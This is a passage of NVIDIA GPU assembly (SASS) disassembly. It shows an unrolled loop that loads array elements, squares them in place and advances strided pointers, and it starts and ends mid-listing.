/*01c0*/ IMAD.X R6, RZ, RZ, ~R0, P0 ; /* 0x000000ffff067224 */
/* 0x000fe200000e0e00 */
/*01d0*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x80, 0x0 ; /* 0x000000000000781c */
/* 0x000fc80003f0f070 */
/*01e0*/ ISETP.GT.AND.EX P1, PT, R6, RZ, PT, P1 ; /* 0x000000ff0600720c */
/* 0x000fda0003f24310 */
/*01f0*/ @!P1 BRA 0x980 ; /* 0x0000078000009947 */
/* 0x000fea0003800000 */
/*0200*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x8, 0x0 ; /* 0x000000000000781c */
/* 0x000fe40003f0e170 */
/*0210*/ IMAD.MOV.U32 R6, RZ, RZ, R12 ; /* 0x000000ffff067224 */
/* 0x001fe400078e000c */
/*0220*/ IMAD.MOV.U32 R7, RZ, RZ, R13 ; /* 0x000000ffff077224 */
/* 0x000fca00078e000d */
/*0230*/ LDG.E R9, [R6.64] ; /* 0x0000000a06097981 */
/* 0x000ea2000c1e1900 */
/*0240*/ IADD3 R8, P1, R6, UR4, RZ ; /* 0x0000000406087c10 */
/* 0x000fe2000ff3e0ff */
/*0250*/ FMUL R15, R9, R9 ; /* 0x00000009090f7220 */
/* 0x004fc60000400000 */
/*0260*/ IADD3.X R9, R7, UR6, RZ, P1, !PT ; /* 0x0000000607097c10 */
/* 0x000fe40008ffe4ff */
/*0270*/ STG.E [R6.64], R15 ; /* 0x0000000f06007986 */
/* 0x0001e8000c10190a */
/*0280*/ LDG.E R12, [R8.64] ; /* 0x0000000a080c7981 */
/* 0x000ea2000c1e1900 */
/*0290*/ IADD3 R10, P1, R8, UR4, RZ ; /* 0x00000004080a7c10 */
/* 0x000fc8000ff3e0ff */
/*02a0*/ IADD3.X R11, R9, UR6, RZ, P1, !PT ; /* 0x00000006090b7c10 */
/* 0x000fe20008ffe4ff */
/*02b0*/ FMUL R17, R12, R12 ; /* 0x0000000c0c117220 */
/* 0x004fca0000400000 */
/*02c0*/ STG.E [R8.64], R17 ; /* 0x0000001108007986 */
/* 0x0003e8000c10190a */
/*02d0*/ LDG.E R14, [R10.64] ; /* 0x0000000a0a0e7981 */
/* 0x000ea2000c1e1900 */
/*02e0*/ IADD3 R12, P1, R10, UR4, RZ ; /* 0x000000040a0c7c10 */
/* 0x000fc8000ff3e0ff */
/*02f0*/ IADD3.X R13, R11, UR6, RZ, P1, !PT ; /* 0x000000060b0d7c10 */
/* 0x000fe20008ffe4ff */
/*0300*/ FMUL R19, R14, R14 ; /* 0x0000000e0e137220 */
/* 0x004fca0000400000 */
/*0310*/ STG.E [R10.64], R19 ; /* 0x000000130a007986 */
/* 0x0005e8000c10190a */
/*0320*/ LDG.E R14, [R12.64] ; /* 0x0000000a0c0e7981 */
/* 0x000ee2000c1e1900 */
/*0330*/ IADD3 R6, P1, R12, UR4, RZ ; /* 0x000000040c067c10 */
/* 0x001fc8000ff3e0ff */
/*0340*/ IADD3.X R7, R13, UR6, RZ, P1, !PT ; /* 0x000000060d077c10 */
/* 0x000fe20008ffe4ff */
/*0350*/ FMUL R15, R14, R14 ; /* 0x0000000e0e0f7220 */
/* 0x008fca0000400000 */
/*0360*/ STG.E [R12.64], R15 ; /* 0x0000000f0c007986 */
/* 0x0001e8000c10190a */
/*0370*/ LDG.E R14, [R6.64] ; /* 0x0000000a060e7981 */
/* 0x000ee2000c1e1900 */
/*0380*/ IADD3 R8, P1, R6, UR4, RZ ; /* 0x0000000406087c10 */
/* 0x002fc8000ff3e0ff */
/*0390*/ IADD3.X R9, R7, UR6, RZ, P1, !PT ; /* 0x0000000607097c10 */
/* 0x000fe20008ffe4ff */
/*03a0*/ FMUL R17, R14, R14 ; /* 0x0000000e0e117220 */
/* 0x008fca0000400000 */
/*03b0*/ STG.E [R6.64], R17 ; /* 0x0000001106007986 */
/* 0x0003e8000c10190a */
/*03c0*/ LDG.E R14, [R8.64] ; /* 0x0000000a080e7981 */
/* 0x000ee2000c1e1900 */
/*03d0*/ IADD3 R10, P1, R8, UR4, RZ ; /* 0x00000004080a7c10 */
/* 0x004fc8000ff3e0ff */
/*03e0*/ IADD3.X R11, R9, UR6, RZ, P1, !PT ; /* 0x00000006090b7c10 */
/* 0x000fe20008ffe4ff */
/*03f0*/ FMUL R19, R14, R14 ; /* 0x0000000e0e137220 */
/* 0x008fca0000400000 */
/*0400*/ STG.E [R8.64], R19 ; /* 0x0000001308007986 */
/* 0x0005e8000c10190a */
/*0410*/ LDG.E R14, [R10.64] ; /* 0x0000000a0a0e7981 */
/* 0x000ee2000c1e1900 */
/*0420*/ IADD3 R12, P1, R10, UR4, RZ ; /* 0x000000040a0c7c10 */
/* 0x001fc8000ff3e0ff */
/*0430*/ IADD3.X R13, R11, UR6, RZ, P1, !PT ; /* 0x000000060b0d7c10 */
/* 0x000fe20008ffe4ff */
/*0440*/ FMUL R15, R14, R14 ; /* 0x0000000e0e0f7220 */
/* 0x008fca0000400000 */
/*0450*/ STG.E [R10.64], R15 ; /* 0x0000000f0a007986 */
/* 0x0001e8000c10190a */
/*0460*/ LDG.E R14, [R12.64] ; /* 0x0000000a0c0e7981 */
/* 0x000ee2000c1e1900 */
/*0470*/ IADD3 R6, P1, R12, UR4, RZ ; /* 0x000000040c067c10 */
/* 0x002fc8000ff3e0ff */
/*0480*/ IADD3.X R7, R13, UR6, RZ, P1, !PT ; /* 0x000000060d077c10 */
/* 0x000fe20008ffe4ff */
/*0490*/ FMUL R17, R14, R14 ; /* 0x0000000e0e117220 */
/* 0x008fca0000400000 */
/*04a0*/ STG.E [R12.64], R17 ; /* 0x000000110c007986 */
/* 0x0003e8000c10190a */
/*04b0*/ LDG.E R14, [R6.64] ; /* 0x0000000a060e7981 */
/* 0x000ee2000c1e1900 */
/*04c0*/ IADD3 R8, P1, R6, UR4, RZ ; /* 0x0000000406087c10 */
/* 0x004fc8000ff3e0ff */
/*04d0*/ IADD3.X R9, R7, UR6, RZ, P1, !PT ; /* 0x0000000607097c10 */
/* 0x000fe20008ffe4ff */
/*04e0*/ FMUL R19, R14, R14 ; /* 0x0000000e0e137220 */
/* 0x008fca0000400000 */
/*04f0*/ STG.E [R6.64], R19 ; /* 0x0000001306007986 */
/* 0x0005e8000c10190a */
/*0500*/ LDG.E R14, [R8.64] ; /* 0x0000000a080e7981 */
/* 0x000ee2000c1e1900 */
/*0510*/ IADD3 R10, P1, R8, UR4, RZ ; /* 0x00000004080a7c10 */
/* 0x001fc8000ff3e0ff */
/*0520*/ IADD3.X R11, R9, UR6, RZ, P1, !PT ; /* 0x00000006090b7c10 */
/* 0x000fe20008ffe4ff */
/*0530*/ FMUL R21, R14, R14 ; /* 0x0000000e0e157220 */
/* 0x008fca0000400000 */
/*0540*/ STG.E [R8.64], R21 ; /* 0x0000001508007986 */
/* 0x0001e8000c10190a */
/*0550*/ LDG.E R14, [R10.64] ; /* 0x0000000a0a0e7981 */
/* 0x000ee2000c1e1900 */
/*0560*/ IADD3 R12, P1, R10, UR4, RZ ; /* 0x000000040a0c7c10 */
/* 0x002fc8000ff3e0ff */
/*0570*/ IADD3.X R13, R11, UR6, RZ, P1, !PT ; /* 0x000000060b0d7c10 */
/* 0x000fe20008ffe4ff */
/*0580*/ FMUL R23, R14, R14 ; /* 0x0000000e0e177220 */
/* 0x008fca0000400000 */
/*0590*/ STG.E [R10.64], R23 ; /* 0x000000170a007986 */
/* 0x0003e8000c10190a */
/*05a0*/ LDG.E R6, [R12.64] ; /* 0x0000000a0c067981 */
/* 0x004ea2000c1e1900 */
/*05b0*/ IADD3 R14, P1, R12, UR4, RZ ; /* 0x000000040c0e7c10 */
/* 0x000fc8000ff3e0ff */
/*05c0*/ IADD3.X R15, R13, UR6, RZ, P1, !PT ; /* 0x000000060d0f7c10 */
/* 0x000fe20008ffe4ff */
/*05d0*/ FMUL R7, R6, R6 ; /* 0x0000000606077220 */
/* 0x004fca0000400000 */
/*05e0*/ STG.E [R12.64], R7 ; /* 0x000000070c007986 */
/* 0x0005e8000c10190a */
/*05f0*/ LDG.E R6, [R14.64] ; /* 0x0000000a0e067981 */
/* 0x000e22000c1e1900 */
/*0600*/ IADD3 R16, P1, R14, UR4, RZ ; /* 0x000000040e107c10 */
/* 0x000fc8000ff3e0ff */
/*0610*/ IADD3.X R17, R15, UR6, RZ, P1, !PT ; /* 0x000000060f117c10 */
/* 0x000fe20008ffe4ff */
/*0620*/ FMUL R9, R6, R6 ; /* 0x0000000606097220 */
/* 0x001fca0000400000 */
/*0630*/ STG.E [R14.64], R9 ; /* 0x000000090e007986 */
/* 0x000fe8000c10190a */
/*0640*/ LDG.E R6, [R16.64] ; /* 0x0000000a10067981 */
/* 0x000ee2000c1e1900 */
/*0650*/ IADD3 R10, P1, R16, UR4, RZ ; /* 0x00000004100a7c10 */
/* 0x002fc8000ff3e0ff */
/*0660*/ IADD3.X R11, R17, UR6, RZ, P1, !PT ; /* 0x00000006110b7c10 */
/* 0x000fe20008ffe4ff */
/*0670*/ FMUL R19, R6, R6 ; /* 0x0000000606137220 */
/* 0x008fca0000400000 */
/*0680*/ STG.E [R16.64], R19 ; /* 0x0000001310007986 */
/* 0x000fe8000c10190a */
/*0690*/ LDG.E R8, [R10.64] ; /* 0x0000000a0a087981 */
/* 0x000ee2000c1e1900 */
/*06a0*/ IADD3 R6, P1, R10, UR4, RZ ; /* 0x000000040a067c10 */
/* 0x000fc8000ff3e0ff */
/*06b0*/ IADD3.X R7, R11, UR6, RZ, P1, !PT ; /* 0x000000060b077c10 */
/* 0x004fe40008ffe4ff */
/*06c0*/ IADD3 R3, P1, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fc80007f3e0ff */
/*06d0*/ IADD3 R3, P2, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f5e0ff */
/*06e0*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P1, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe40000ffe4ff */
/*06f0*/ IADD3 R3, P1, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f3e0ff */
/*0700*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P2, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe400017fe4ff */
/*0710*/ IADD3 R3, P2, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f5e0ff */
/*0720*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P1, !PT ; /* 0x00005d0004047a10 */
/* 0x000fc40000ffe4ff */
/*0730*/ IADD3 R3, P1, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f3e0ff */
/*0740*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P2, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe400017fe4ff */
/*0750*/ IADD3 R3, P2, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f5e0ff */
/*0760*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P1, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe40000ffe4ff */
/*0770*/ IADD3 R3, P1, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f3e0ff */
/*0780*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P2, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe200017fe4ff */
/*0790*/ FMUL R13, R8, R8 ; /* 0x00000008080d7220 */
/* 0x008fca0000400000 */
/*07a0*/ STG.E [R10.64], R13 ; /* 0x0000000d0a007986 */
/* 0x0001e8000c10190a */
/*07b0*/ LDG.E R8, [R6.64] ; /* 0x0000000a06087981 */
/* 0x000ea2000c1e1900 */
/*07c0*/ IADD3 R3, P2, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f5e0ff */
/*07d0*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P1, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe40000ffe4ff */
/*07e0*/ IADD3 R3, P1, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f3e0ff */
/*07f0*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P2, !PT ; /* 0x00005d0004047a10 */
/* 0x000fc400017fe4ff */
/*0800*/ IADD3 R3, P2, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f5e0ff */
/*0810*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P1, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe40000ffe4ff */
/*0820*/ IADD3 R3, P1, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f3e0ff */
/*0830*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P2, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe400017fe4ff */
/*0840*/ IADD3 R3, P2, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f5e0ff */
/*0850*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P1, !PT ; /* 0x00005d0004047a10 */
/* 0x000fc40000ffe4ff */
/*0860*/ IADD3 R5, P4, R5, 0x10, RZ ; /* 0x0000001005057810 */
/* 0x000fe40007f9e0ff */
/*0870*/ IADD3 R3, P1, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f3e0ff */
/*0880*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P2, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe200017fe4ff */
/*0890*/ IMAD.X R0, RZ, RZ, R0, P4 ; /* 0x000000ffff007224 */
/* 0x000fe200020e0600 */
/*08a0*/ IADD3 R3, P3, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f7e0ff */
/*08b0*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P1, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe40000ffe4ff */
/*08c0*/ ISETP.GE.U32.AND P1, PT, R5, -0xc, PT ; /* 0xfffffff40500780c */
/* 0x000fc40003f26070 */
/*08d0*/ IADD3 R3, P2, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f5e0ff */
/*08e0*/ ISETP.GE.AND.EX P1, PT, R0, -0x1, PT, P1 ; /* 0xffffffff0000780c */
/* 0x000fe40003f26310 */
/*08f0*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P3, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe40001ffe4ff */
/*0900*/ IADD3 R12, P3, R6, UR4, RZ ; /* 0x00000004060c7c10 */
/* 0x000fe4000ff7e0ff */
/*0910*/ IADD3 R3, P4, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f9e0ff */
/*0920*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P2, !PT ; /* 0x00005d0004047a10 */
/* 0x000fc400017fe4ff */
/*0930*/ IADD3.X R13, R7, UR6, RZ, P3, !PT ; /* 0x00000006070d7c10 */
/* 0x001fe40009ffe4ff */
/*0940*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P4, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe200027fe4ff */
/*0950*/ FMUL R9, R8, R8 ; /* 0x0000000808097220 */
/* 0x004fca0000400000 */
/*0960*/ STG.E [R6.64], R9 ; /* 0x0000000906007986 */
/* 0x0001e2000c10190a */
/*0970*/ @!P1 BRA 0x210 ; /* 0xfffff89000009947 */
/* 0x000fea000383ffff */
/*0980*/ IADD3 R6, P2, RZ, -R5, RZ ; /* 0x80000005ff067210 */
/* 0x001fc80007f5e0ff */
/*0990*/ ISETP.GT.U32.AND P1, PT, R6, 0x4, PT ; /* 0x000000040600780c */
/* 0x000fe20003f24070 */
/*09a0*/ IMAD.X R6, RZ, RZ, ~R0, P2 ; /* 0x000000ffff067224 */
/* 0x000fca00010e0e00 */
/*09b0*/ ISETP.GT.AND.EX P1, PT, R6, RZ, PT, P1 ; /* 0x000000ff0600720c */
/* 0x000fda0003f24310 */
/*09c0*/ @!P1 BRA 0xd80 ; /* 0x000003b000009947 */
/* 0x000fea0003800000 */
/*09d0*/ LDG.E R8, [R12.64] ; /* 0x0000000a0c087981 */
/* 0x000ea2000c1e1900 */
/*09e0*/ IADD3 R6, P0, R12, UR4, RZ ; /* 0x000000040c067c10 */
/* 0x000fc8000ff1e0ff */
/*09f0*/ IADD3.X R7, R13, UR6, RZ, P0, !PT ; /* 0x000000060d077c10 */
/* 0x000fe200087fe4ff */
/*0a00*/ FMUL R15, R8, R8 ; /* 0x00000008080f7220 */
/* 0x004fca0000400000 */
/*0a10*/ STG.E [R12.64], R15 ; /* 0x0000000f0c007986 */
/* 0x0001e8000c10190a */
/*0a20*/ LDG.E R10, [R6.64] ; /* 0x0000000a060a7981 */
/* 0x000ea2000c1e1900 */
/*0a30*/ IADD3 R8, P0, R6, UR4, RZ ; /* 0x0000000406087c10 */
/* 0x000fc8000ff1e0ff */
/*0a40*/ IADD3.X R9, R7, UR6, RZ, P0, !PT ; /* 0x0000000607097c10 */
/* 0x000fe200087fe4ff */
/*0a50*/ FMUL R17, R10, R10 ; /* 0x0000000a0a117220 */
/* 0x004fca0000400000 */
/*0a60*/ STG.E [R6.64], R17 ; /* 0x0000001106007986 */
/* 0x0003e8000c10190a */
/*0a70*/ LDG.E R14, [R8.64] ; /* 0x0000000a080e7981 */
/* 0x000ea2000c1e1900 */
/*0a80*/ IADD3 R10, P0, R8, UR4, RZ ; /* 0x00000004080a7c10 */
/* 0x000fc8000ff1e0ff */
/*0a90*/ IADD3.X R11, R9, UR6, RZ, P0, !PT ; /* 0x00000006090b7c10 */
/* 0x000fe200087fe4ff */
/*0aa0*/ FMUL R19, R14, R14 ; /* 0x0000000e0e137220 */
/* 0x004fca0000400000 */
/*0ab0*/ STG.E [R8.64], R19 ; /* 0x0000001308007986 */
/* 0x0005e8000c10190a */
/*0ac0*/ LDG.E R14, [R10.64] ; /* 0x0000000a0a0e7981 */
/* 0x000ee2000c1e1900 */
/*0ad0*/ IADD3 R12, P0, R10, UR4, RZ ; /* 0x000000040a0c7c10 */
/* 0x001fc8000ff1e0ff */
/*0ae0*/ IADD3.X R13, R11, UR6, RZ, P0, !PT ; /* 0x000000060b0d7c10 */
/* 0x000fe200087fe4ff */
/*0af0*/ FMUL R21, R14, R14 ; /* 0x0000000e0e157220 */
/* 0x008fca0000400000 */
/*0b00*/ STG.E [R10.64], R21 ; /* 0x000000150a007986 */
/* 0x0001e8000c10190a */
/*0b10*/ LDG.E R6, [R12.64] ; /* 0x0000000a0c067981 */
/* 0x002ee2000c1e1900 */
/*0b20*/ IADD3 R14, P0, R12, UR4, RZ ; /* 0x000000040c0e7c10 */
/* 0x000fc8000ff1e0ff */
/*0b30*/ IADD3.X R15, R13, UR6, RZ, P0, !PT ; /* 0x000000060d0f7c10 */
/* 0x000fe200087fe4ff */
/*0b40*/ FMUL R17, R6, R6 ; /* 0x0000000606117220 */
/* 0x008fca0000400000 */
/*0b50*/ STG.E [R12.64], R17 ; /* 0x000000110c007986 */
/* 0x0003e8000c10190a */
/*0b60*/ LDG.E R6, [R14.64] ; /* 0x0000000a0e067981 */
/* 0x000ee2000c1e1900 */
/*0b70*/ IADD3 R8, P0, R14, UR4, RZ ; /* 0x000000040e087c10 */
/* 0x004fc8000ff1e0ff */
/*0b80*/ IADD3.X R9, R15, UR6, RZ, P0, !PT ; /* 0x000000060f097c10 */
/* 0x000fe200087fe4ff */
/*0b90*/ FMUL R19, R6, R6 ; /* 0x0000000606137220 */
/* 0x008fca0000400000 */
/*0ba0*/ STG.E [R14.64], R19 ; /* 0x000000130e007986 */
/* 0x000fe8000c10190a */
/*0bb0*/ LDG.E R10, [R8.64] ; /* 0x0000000a080a7981 */
/* 0x001ea2000c1e1900 */
/*0bc0*/ IADD3 R6, P0, R8, UR4, RZ ; /* 0x0000000408067c10 */
/* 0x000fc8000ff1e0ff */
/*0bd0*/ IADD3.X R7, R9, UR6, RZ, P0, !PT ; /* 0x0000000609077c10 */
/* 0x000fe400087fe4ff */
/*0be0*/ IADD3 R3, P0, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fc80007f1e0ff */
/*0bf0*/ IADD3 R3, P1, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f3e0ff */
/*0c00*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P0, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe200007fe4ff */
/*0c10*/ FMUL R11, R10, R10 ; /* 0x0000000a0a0b7220 */
/* 0x004fca0000400000 */
/*0c20*/ STG.E [R8.64], R11 ; /* 0x0000000b08007986 */
/* 0x000fe8000c10190a */
/*0c30*/ LDG.E R10, [R6.64] ; /* 0x0000000a060a7981 */
/* 0x000ea2000c1e1900 */
/*0c40*/ IADD3 R3, P0, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f1e0ff */
/*0c50*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P1, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe40000ffe4ff */
/*0c60*/ IADD3 R3, P1, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f3e0ff */
/*0c70*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P0, !PT ; /* 0x00005d0004047a10 */
/* 0x000fc400007fe4ff */
/*0c80*/ IADD3 R3, P0, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f1e0ff */
/*0c90*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P1, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe40000ffe4ff */
/*0ca0*/ IADD3 R3, P3, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f7e0ff */
/*0cb0*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P0, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe400007fe4ff */
/*0cc0*/ IADD3 R3, P2, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f5e0ff */
/*0cd0*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P3, !PT ; /* 0x00005d0004047a10 */
/* 0x000fc40001ffe4ff */
/*0ce0*/ IADD3 R5, P1, R5, 0x8, RZ ; /* 0x0000000805057810 */
/* 0x000fe40007f3e0ff */
/*0cf0*/ IADD3 R12, P3, R6, UR4, RZ ; /* 0x00000004060c7c10 */
/* 0x002fe4000ff7e0ff */
/*0d00*/ IADD3 R3, P4, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe20007f9e0ff */
/*0d10*/ IMAD.X R0, RZ, RZ, R0, P1 ; /* 0x000000ffff007224 */
/* 0x000fe200008e0600 */
/*0d20*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P2, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe400017fe4ff */
/*0d30*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x8, 0x0 ; /* 0x000000000000781c */
/* 0x000fe40003f0e170 */
/*0d40*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P4, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe200027fe4ff */
/*0d50*/ FMUL R13, R10, R10 ; /* 0x0000000a0a0d7220 */
/* 0x004fca0000400000 */
/*0d60*/ STG.E [R6.64], R13 ; /* 0x0000000d06007986 */
/* 0x0001e4000c10190a */
/*0d70*/ IADD3.X R13, R7, UR6, RZ, P3, !PT ; /* 0x00000006070d7c10 */
/* 0x001fe40009ffe4ff */
/*0d80*/ ISETP.NE.U32.AND P1, PT, R5, RZ, PT ; /* 0x000000ff0500720c */
/* 0x000fc80003f25070 */
/*0d90*/ ISETP.NE.OR.EX P0, PT, R0, RZ, P0, P1 ; /* 0x000000ff0000720c */
/* 0x000fda0000705710 */
/*0da0*/ @!P0 BRA 0xfe0 ; /* 0x0000023000008947 */
/* 0x000fea0003800000 */
/*0db0*/ IMAD.MOV.U32 R8, RZ, RZ, R12 ; /* 0x000000ffff087224 */
/* 0x000fe400078e000c */
/*0dc0*/ IMAD.MOV.U32 R9, RZ, RZ, R13 ; /* 0x000000ffff097224 */
/* 0x000fca00078e000d */
/*0dd0*/ LDG.E R6, [R8.64] ; /* 0x0000000a08067981 */
/* 0x000ea2000c1e1900 */
/*0de0*/ IADD3 R10, P0, R8, UR4, RZ ; /* 0x00000004080a7c10 */
/* 0x000fc8000ff1e0ff */
/*0df0*/ IADD3.X R11, R9, UR6, RZ, P0, !PT ; /* 0x00000006090b7c10 */
/* 0x000fe200087fe4ff */
/*0e00*/ FMUL R15, R6, R6 ; /* 0x00000006060f7220 */
/* 0x004fca0000400000 */
/*0e10*/ STG.E [R8.64], R15 ; /* 0x0000000f08007986 */
/* 0x0001e8000c10190a */
/*0e20*/ LDG.E R6, [R10.64] ; /* 0x0000000a0a067981 */
/* 0x000ea2000c1e1900 */
/*0e30*/ IADD3 R12, P0, R10, UR4, RZ ; /* 0x000000040a0c7c10 */
/* 0x000fc8000ff1e0ff */
/*0e40*/ IADD3.X R13, R11, UR6, RZ, P0, !PT ; /* 0x000000060b0d7c10 */
/* 0x000fe200087fe4ff */
/*0e50*/ FMUL R17, R6, R6 ; /* 0x0000000606117220 */
/* 0x004fca0000400000 */
/*0e60*/ STG.E [R10.64], R17 ; /* 0x000000110a007986 */
/* 0x000fe8000c10190a */
/*0e70*/ LDG.E R14, [R12.64] ; /* 0x0000000a0c0e7981 */
/* 0x000ea2000c1e1900 */
/*0e80*/ IADD3 R6, P0, R12, UR4, RZ ; /* 0x000000040c067c10 */
/* 0x000fc8000ff1e0ff */
/*0e90*/ IADD3.X R7, R13, UR6, RZ, P0, !PT ; /* 0x000000060d077c10 */
/* 0x000fe400087fe4ff */
/*0ea0*/ IADD3 R5, P0, R5, 0x4, RZ ; /* 0x0000000405057810 */
/* 0x000fe20007f1e0ff */
/*0eb0*/ FMUL R19, R14, R14 ; /* 0x0000000e0e137220 */
/* 0x004fca0000400000 */
/*0ec0*/ STG.E [R12.64], R19 ; /* 0x000000130c007986 */
/* 0x0003e8000c10190a */
/*0ed0*/ LDG.E R8, [R6.64] ; /* 0x0000000a06087981 */
/* 0x001ea2000c1e1900 */
/*0ee0*/ IMAD.X R0, RZ, RZ, R0, P0 ; /* 0x000000ffff007224 */
/* 0x000fe200000e0600 */
/*0ef0*/ ISETP.NE.U32.AND P0, PT, R5, RZ, PT ; /* 0x000000ff0500720c */
/* 0x000fe40003f05070 */
/*0f00*/ IADD3 R3, P1, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f3e0ff */
/*0f10*/ ISETP.NE.AND.EX P0, PT, R0, RZ, PT, P0 ; /* 0x000000ff0000720c */
/* 0x000fc40003f05300 */
/*0f20*/ IADD3 R3, P2, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f5e0ff */
/*0f30*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P1, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe40000ffe4ff */
/*0f40*/ IADD3 R3, P1, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f3e0ff */
/*0f50*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P2, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe400017fe4ff */
/*0f60*/ IADD3 R12, P2, R6, UR4, RZ ; /* 0x00000004060c7c10 */
/* 0x002fe4000ff5e0ff */
/*0f70*/ IADD3 R3, P3, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fc40007f7e0ff */
/*0f80*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P1, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe40000ffe4ff */
/*0f90*/ IADD3.X R13, R7, UR6, RZ, P2, !PT ; /* 0x00000006070d7c10 */
/* 0x000fe400097fe4ff */
/*0fa0*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P3, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe20001ffe4ff */
/*0fb0*/ FMUL R9, R8, R8 ; /* 0x0000000808097220 */
/* 0x004fca0000400000 */
/*0fc0*/ STG.E [R6.64], R9 ; /* 0x0000000906007986 */
/* 0x0001e4000c10190a */
/*0fd0*/ @P0 BRA 0xdb0 ; /* 0xfffffdd000000947 */
/* 0x001fea000383ffff */
/*0fe0*/ ISETP.NE.U32.AND P0, PT, R2, RZ, PT ; /* 0x000000ff0200720c */
/* 0x001fc80003f05070 */
/*0ff0*/ ISETP.NE.AND.EX P0, PT, RZ, RZ, PT, P0 ; /* 0x000000ffff00720c */
/* 0x000fda0003f05300 */
/*1000*/ @!P0 EXIT ; /* 0x000000000000894d */
/* 0x000fea0003800000 */
/*1010*/ IADD3 R6, P1, RZ, -R2, RZ ; /* 0x80000002ff067210 */
/* 0x000fe20007f3e0ff */
/*1020*/ IMAD.MOV.U32 R11, RZ, RZ, c[0x0][0x170] ; /* 0x00005c00ff0b7624 */
/* 0x000fe200078e00ff */
/*1030*/ LEA R0, P0, R3, c[0x0][0x160], 0x2 ; /* 0x0000580003007a11 */
/* 0x000fe200078010ff */
/*1040*/ IMAD.MOV.U32 R2, RZ, RZ, 0x2 ; /* 0x00000002ff027424 */
/* 0x000fc600078e00ff */
/*1050*/ LEA.HI.X R7, R3, c[0x0][0x164], R4, 0x2, P0 ; /* 0x0000590003077a11 */
/* 0x000fe200000f1404 */
